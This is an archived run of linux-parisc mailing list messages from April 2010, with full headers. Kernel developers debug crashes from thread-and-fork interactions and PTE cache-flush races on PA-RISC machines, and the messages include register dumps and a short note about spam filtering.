	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753721Ab0DLVCq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 12 Apr 2010 17:02:46 -0400
Original-Received: (qmail invoked by alias); 12 Apr 2010 21:02:43 -0000
Original-Received: from p54AD1724.dip0.t-ipconnect.de (EHLO halden.box) [84.173.23.36]
  by mail.gmx.net (mp027) with SMTP; 12 Apr 2010 23:02:43 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18YfDxmLn8Y7HSW7eMl4C/lRmjI815ynrRdxo1bNc
	HyXuIFWzncCChX
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <20100411222554.GA10147@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.56999999999999995
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2789
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2789>

On 04/12/2010 12:25 AM, John David Anglin wrote:
> On Sun, 11 Apr 2010, Helge Deller wrote:
> 
>> Nevertheless, I still see the crashes with all kernel patches applied.
>>
>> What I usually do is to start up more than 8 screen sessions. In each of the
>> sessions I start the bash loop:
>> -> i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail; done;
>> and detach from the screen sessions.
>> After some time, the load goes up to 8-16 and a few crashes fill the syslog.
>> I'm sure the crashes are related to how much load the machine is, and how
>> often process switches will happen.
>> How many minifail testcases do you run in parallel?
> 
> Sigh, never more than one...
> 
> That said, I did realize last night that the cache flush in ptep_set_wrprotect
> based on pte_dirty was flawed.  In a SMP kernel with a user on a different
> cpu pounding on the page to be write protected, there was a race between
> the pte_dirty check and the write protect.
> 
> Further, I don't believe the dirty bit is reliable.  Our cmpxchg is not
> atomic with respect to changes in the dirty bit.  Thus, there is a small
> window where a change in the dirty bit could get lost.
> 
> So for now, I think it safest to move the flush after the setting of the
> write protect bit, and do it unconditionally.  This should be ok since
> page faults are disabled.  I recognize that this will hurt performance.
> 
> I'm going to test the following on my rp3440.  The flushing has greatly
> improved SMP userspace stability.  However, I have still seen a few issues
> in the GCC testsuite.
> 
> Maybe it will help your B2000.  However, let's just go one step at a time.

Sadly no luck :-(
minifail still crashes...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Mon, 12 Apr 2010 17:41:17 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <20100412214118.46D925160@hiauly1.hia.nrc.ca>
References: <4BC38A6A.3020404@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1271108483 23507 80.91.229.12 (12 Apr 2010 21:41:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 12 Apr 2010 21:41:23 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	gniibe@fsij.org, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 12 23:41:21 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O1RNh-0006k9-0s
	for glpp-linux-parisc@lo.gmane.org; Mon, 12 Apr 2010 23:41:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754054Ab0DLVlU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 12 Apr 2010 17:41:20 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3413 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753757Ab0DLVlT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 12 Apr 2010 17:41:19 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 46D925160; Mon, 12 Apr 2010 17:41:17 -0400 (EDT)
In-Reply-To: <4BC38A6A.3020404@gmx.de> from "Helge Deller" at Apr 12, 2010 11:02:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2790
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2790>

> > Maybe it will help your B2000.  However, let's just go one step at a time.
> 
> Sadly no luck :-(
> minifail still crashes...

I wonder if it would help to enable the kunmap_atomic support used
for the PA8800/PA8900 for the B2000.  It might be non equivalent aliasing
causes corruption.

Are you using standard 4K pages?

I assume that it's always the thread created by pthread_create that's causing
the segv.  What does the stack region for the thread look like when it drops
core?  Possibly, we have two separate issues.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 13 Apr 2010 13:55:01 +0200
Lines: 117
Approved: news@gmane.org
Message-ID: <20100413115501.307040@gmx.net>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1271159722 5283 80.91.229.12 (13 Apr 2010 11:55:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 13 Apr 2010 11:55:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, gniibe@fsij.org,
	carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 13 13:55:17 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O1ehz-0007aK-Mm
	for glpp-linux-parisc@lo.gmane.org; Tue, 13 Apr 2010 13:55:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750829Ab0DMLzK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Apr 2010 07:55:10 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:47052 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750827Ab0DMLzH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Apr 2010 07:55:07 -0400
Original-Received: (qmail 9744 invoked by uid 0); 13 Apr 2010 11:55:04 -0000
Original-Received: from 155.56.68.217 by www057.gmx.net with HTTP;
 Tue, 13 Apr 2010 13:55:01 +0200 (CEST)
In-Reply-To: <20100412214118.46D925160@hiauly1.hia.nrc.ca>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX1/bHwMMOFTbo2LXOLrqPdPz6L/aYuUog8bCG1guLU
 expMcuwRm+O7ztRNugDukqSxAPiJZunWQVvg== 
X-GMX-UID: 8CqtJIJPMydhUoigZWplkbxjaGRhZloj
X-FuHaFi: 0.45000000000000001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2791
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2791>

> I wonder if it would help to enable the kunmap_atomic support used
> for the PA8800/PA8900 for the B2000.  It might be non equivalent alia=
sing
> causes corruption.

I did changed asm/processor.h to include my CPU:
static inline int parisc_requires_coherency(void)
{
#ifdef CONFIG_PA8X00
        return (boot_cpu_data.cpu_type >=3D pcxu);
#endif
}

CONFIG_PA8X00 is defined.

Still crashes.

> Are you using standard 4K pages?

Yes: CONFIG_PARISC_PAGE_SIZE_4KB=3Dy


> I assume that it's always the thread created by pthread_create that's
> causing the segv. =20

Yes, all my tests up to now indicated that too.

> What does the stack region for the thread look
> like when it drops core?  Possibly, we have two separate issues.

do_page_fault() pid=3D3890 command=3D'minifail_dave' type=3D6 address=3D=
0x00000003

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  0004ff0f 10561000 401190d7 c046e3c0
r04-07  4012b5f4 00000007 4012bdf4 00000000
r08-11  4012be64 00000000 c046e3ca 0000001c
r12-15  4012be60 4012c7f8 00000000 c046e448
r16-19  4012c0b0 c046e448 40129270 00000000
r20-23  00000000 00000000 00000000 00000000
r24-27  fffffff5 ffffffd3 4012c0b0 00011dac
r28-31  00000000 4012c0b0 c046e4c0 401190d7
sr00-03  00008dd2 00000000 00000000 00008dd2
sr04-07  00008dd2 00008dd2 00008dd2 00008dd2

IASQ: 00008dd2 00008dd2 IAOQ: 00000003 00000007
 IIR: 43ffff80    ISR: 00008dd2  IOR: 40000bd0
 CPU:        0   CR30: 87d24000 CR31: ffffffff
 ORIG_R28: 00000000
 IAOQ[0]: 00000003
 IAOQ[1]: 00000007
 RP(r2): 401190d7


or=20

do_page_fault() pid=3D28779 command=3D'minifail_dave' type=3D6 address=3D=
0x00000003

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  0004ff0f 10561000 401190d7 bff943c0
r04-07  4012b5f4 00000007 4012bdf4 00000000
r08-11  4012be64 00000000 bff943ca 0000001c
r12-15  4012be60 4012c7f8 00000000 bff94448
r16-19  4012c0b0 bff94448 40129270 00000000
r20-23  00000000 00000000 00000000 00000000
r24-27  fffffff5 ffffffd3 4012c0b0 00011dac
r28-31  00000000 4012c0b0 bff944c0 401190d7
sr00-03  000070bc 00000755 00000000 000070bc
sr04-07  000070bc 000070bc 000070bc 000070bc
IASQ: 000070bc 000070bc IAOQ: 00000003 00000007
 IIR: 43ffff80    ISR: 000070bc  IOR: 40000bd0
 CPU:        1   CR30: 8cfe4000 CR31: ffffffff
 ORIG_R28: 00000000
 IAOQ[0]: 00000003
 IAOQ[1]: 00000007
 RP(r2): 401190d7


or



do_page_fault() pid=3D9898 command=3D'minifail_dave' type=3D15 address=3D=
0x000000fc

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  0006ff0f 0029608d 40114127 00000000
r04-07  4012b5f4 40001768 00000007 00000000
r08-11  f4385cbf 40129270 4012bdf4 40d52348
r12-15  07a1c2e5 0000001f 40d52448 4012b5f4
r16-19  4012bdf4 40d52358 00000000 4012b5f4
r20-23  0001014c 00000000 0f843530 4031bdc4
r24-27  40d52348 00000003 000000f0 00011dac
r28-31  000000f0 40d52448 40d52580 4011410b
sr00-03  0000a53c 00000000 00000000 0000a53c
sr04-07  0000a53c 0000a53c 0000a53c 0000a53c

IASQ: 0000a53c 0000a53c IAOQ: 40113c23 40113c27
 IIR: 0f58101c    ISR: 0000a53c  IOR: 000000fc
 CPU:        0   CR30: 87c78000 CR31: ffffffff
 ORIG_R28: 00000000
 IAOQ[0]: 40113c23
 IAOQ[1]: 40113c27
 RP(r2): 40114127
--=20
GRATIS f=FCr alle GMX-Mitglieder: Die maxdome Movie-FLAT!
Jetzt freischalten unter http://portal.gmx.net/de/go/maxdome01
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 13 Apr 2010 10:03:51 -0400 (EDT)
Lines: 99
Approved: news@gmane.org
Message-ID: <20100413140352.98440513F@hiauly1.hia.nrc.ca>
References: <20100413115501.307040@gmx.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1271167442 5946 80.91.229.12 (13 Apr 2010 14:04:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 13 Apr 2010 14:04:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, gniibe@fsij.org,
	carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 13 16:03:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O1gib-0003Dt-CW
	for glpp-linux-parisc@lo.gmane.org; Tue, 13 Apr 2010 16:03:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752038Ab0DMODy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Apr 2010 10:03:54 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3459 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752027Ab0DMODy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Apr 2010 10:03:54 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 98440513F; Tue, 13 Apr 2010 10:03:52 -0400 (EDT)
In-Reply-To: <20100413115501.307040@gmx.net> from "Helge Deller" at Apr 13, 2010 01:55:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2792
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2792>

> > I assume that it's always the thread created by pthread_create that's
> > causing the segv.  
> 
> Yes, all my tests up to now indicated that too.

info thread tells you which thread is running.

The stack region for the thread is allocated by the mmap syscall prior
to the clone syscall.  You can see where it is allocated with strace.
On my c3750, it was allocated at 0x40000000, but I have seen it allocated
in other locations on 64-bit systems.

So, in gdb, you can display the bottom bit with 'x/128x 0x40000000'.

If you run minifail under gdb and set a break at the start of
thread_run, you can see what the stack should look like when
thread_run is entered.

The COW break typically causes most of the stack that is dirty to revert to
nearly all zeros.  Since the return pointer, rp, is saved on the stack,
a function return causes the thread to branch to location 0 and
fault.  This is the most common failure.

In the minifail versions that I made with a big loop in thread_run,
it's possible to detect the COW break mid loop and generate a core
dump.   As a result, the application state is consistent.

The dumps below aren't that useful since they don't say much about the
cause of the fault.

> > What does the stack region for the thread look
> > like when it drops core?  Possibly, we have two separate issues.
> 
> do_page_fault() pid=3890 command='minifail_dave' type=6 address=0x00000003
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111 Not tainted
> r00-03  0004ff0f 10561000 401190d7 c046e3c0
> r04-07  4012b5f4 00000007 4012bdf4 00000000
> r08-11  4012be64 00000000 c046e3ca 0000001c
> r12-15  4012be60 4012c7f8 00000000 c046e448
> r16-19  4012c0b0 c046e448 40129270 00000000
> r20-23  00000000 00000000 00000000 00000000
> r24-27  fffffff5 ffffffd3 4012c0b0 00011dac
> r28-31  00000000 4012c0b0 c046e4c0 401190d7

The stack pointer in this one seems to indicate the parent was running.
So, I think this failure has a different cause.  It might be useful to
debug the core dump for a failure similar to this with gdb.

> sr00-03  00008dd2 00000000 00000000 00008dd2
> sr04-07  00008dd2 00008dd2 00008dd2 00008dd2
> 
> IASQ: 00008dd2 00008dd2 IAOQ: 00000003 00000007
>  IIR: 43ffff80    ISR: 00008dd2  IOR: 40000bd0
>  CPU:        0   CR30: 87d24000 CR31: ffffffff
>  ORIG_R28: 00000000
>  IAOQ[0]: 00000003
>  IAOQ[1]: 00000007
>  RP(r2): 401190d7
> 
> 
> or 
> 
> do_page_fault() pid=28779 command='minifail_dave' type=6 address=0x00000003
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111 Not tainted
> r00-03  0004ff0f 10561000 401190d7 bff943c0
> r04-07  4012b5f4 00000007 4012bdf4 00000000
> r08-11  4012be64 00000000 bff943ca 0000001c
> r12-15  4012be60 4012c7f8 00000000 bff94448
> r16-19  4012c0b0 bff94448 40129270 00000000
> r20-23  00000000 00000000 00000000 00000000
> r24-27  fffffff5 ffffffd3 4012c0b0 00011dac
> r28-31  00000000 4012c0b0 bff944c0 401190d7

Stack pointer in this one is wierd.  It probably must have been corrupted
by fault.

> sr00-03  000070bc 00000755 00000000 000070bc
> sr04-07  000070bc 000070bc 000070bc 000070bc
> IASQ: 000070bc 000070bc IAOQ: 00000003 00000007
>  IIR: 43ffff80    ISR: 000070bc  IOR: 40000bd0
>  CPU:        1   CR30: 8cfe4000 CR31: ffffffff
>  ORIG_R28: 00000000
>  IAOQ[0]: 00000003
>  IAOQ[1]: 00000007
>  RP(r2): 401190d7

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: spam problems
Date: Wed, 14 Apr 2010 21:13:05 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20100415011305.GI12768@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1271293993 20005 80.91.229.12 (15 Apr 2010 01:13:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 15 Apr 2010 01:13:13 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 15 03:13:12 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O2Ddn-0007UG-J2
	for glpp-linux-parisc@lo.gmane.org; Thu, 15 Apr 2010 03:13:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753410Ab0DOBNI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 14 Apr 2010 21:13:08 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:57565 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751200Ab0DOBNH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 14 Apr 2010 21:13:07 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1O2Ddh-0007E8-EH
	for linux-parisc@vger.kernel.org; Thu, 15 Apr 2010 01:13:05 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2793
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2793>

Sorry guys, something went awry with spamassassin, and it started
marking a pile of my legitimate mail as spam (something to do with tabs
in From and Date headers...) I'm working through recovering it from my
inbox and list folders, but I don't think I'll have caught up until
after the weekend.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Thu, 15 Apr 2010 18:35:18 -0400
Organization: nrc.ca
Lines: 23
Approved: news@gmane.org
Message-ID: <20100415223517.GA6360@hiauly1.hia.nrc.ca>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca> <20100413115501.307040@gmx.net>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1271370954 28733 80.91.229.12 (15 Apr 2010 22:35:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 15 Apr 2010 22:35:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, gniibe@fsij.org,
	carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 16 00:35:52 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O2Xf3-0007hw-Uw
	for glpp-linux-parisc@lo.gmane.org; Fri, 16 Apr 2010 00:35:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932107Ab0DOWfZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Apr 2010 18:35:25 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3572 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932074Ab0DOWfW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Apr 2010 18:35:22 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5B6DD515D; Thu, 15 Apr 2010 18:35:18 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20100413115501.307040@gmx.net>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2794
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2794>

On Tue, 13 Apr 2010, Helge Deller wrote:

> Still crashes.

After thinking about this some more, I believe out updating of pte's
is broken.  We have a lock, pa_dbit_lock, but this is only used in
the dbit traps.  Even there, the implementation is flawed on SMP
machines.

The fundamental issue is a pte can't be updated in one instruction.
The old pte has to be loaded, modified, and then written back to
memory.  It this isn't made atomic with a lock, we drop write protect,
dirty, and accessed bits occassionally.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: spam problems
Date: Fri, 16 Apr 2010 11:31:16 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <h2p119aab441004160831n786271c8r5a23c2d073281ca6@mail.gmail.com>
References: <20100415011305.GI12768@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1271431882 20187 80.91.229.12 (16 Apr 2010 15:31:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 16 Apr 2010 15:31:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 16 17:31:20 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O2nVn-0007mU-Ie
	for glpp-linux-parisc@lo.gmane.org; Fri, 16 Apr 2010 17:31:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758074Ab0DPPbS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Apr 2010 11:31:18 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:42794 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751710Ab0DPPbS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Apr 2010 11:31:18 -0400
Original-Received: by wwb24 with SMTP id 24so1240615wwb.19
        for <linux-parisc@vger.kernel.org>; Fri, 16 Apr 2010 08:31:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type;
        bh=LGSTRn5wLk/Osxm9Do5SBTzAaYuNqgPEibOrR2urKuI=;
        b=fWy3g9iRU4DgLY8GZZjFxdCyrW9dMfsZ/7cYIxksca5MQl+J4NMQh8cglsamJNMLSZ
         DvrKfiifoS5A3ePVV9rLTOblCnr2pXXQuaSJ051JJpNnUen7TR2+7+hz7fUocnn7Au6e
         CJhxHU/ZfCmPwj6pWV0Uj+cZ4kULBE71x1IfE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=Uih1x7vHzWuY4evawR1EhP5kxPLc+poAv0IXdjswmrBAfa3IvlgrXJIl8yQgkEuQvi
         3rW9JJqJYVPE6a3l5sALQJVQejbf5/KN6Ou80FGeRZPrpJVuJp/hbVZ2ymn9O8ayM4dJ
         2ffNq9QO4fqHgjIzGePfitSUf/9GZw5iVEylU=
Original-Received: by 10.216.48.19 with HTTP; Fri, 16 Apr 2010 08:31:16 -0700 (PDT)
In-Reply-To: <20100415011305.GI12768@bombadil.infradead.org>
X-Google-Sender-Auth: 52839ec5399a6a9b
Original-Received: by 10.216.86.7 with SMTP id v7mr2036678wee.191.1271431876643; Fri, 
	16 Apr 2010 08:31:16 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2795
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2795>

